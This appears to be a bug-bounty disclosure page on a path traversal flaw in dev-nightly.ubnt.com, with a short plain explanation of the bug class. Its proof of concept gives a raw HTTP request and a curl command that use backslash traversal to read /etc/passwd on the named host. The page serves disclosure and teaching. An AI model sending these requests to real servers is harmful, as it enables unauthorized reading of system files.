[dev-nightly.ubnt.com] Local File Reading
The web server allowed reading files outside the web root via path traversal using backslash sequences. An attacker could read sensitive system files such as the password file.
- Disclosed after 30 days
Summary by the researcher
¯\_(ツ)_/¯
The report
Description Reading files outside the web root via path traversal
PoC
GET /..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\passwd HTTP/1.1
Host: dev-nightly.ubnt.com
curl "https://dev-nightly.ubnt.com/..\..\..\etc\passwd"
Result

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
What the attacker needed
None
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A path traversal bug lets someone trick a web server into reading files it should not, by using special characters like backslashes to climb out of the folder it is supposed to serve. Here, the server accepted a request with many backslashes and then returned a system file, so an attacker could see private data.
What is Path traversal?
Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.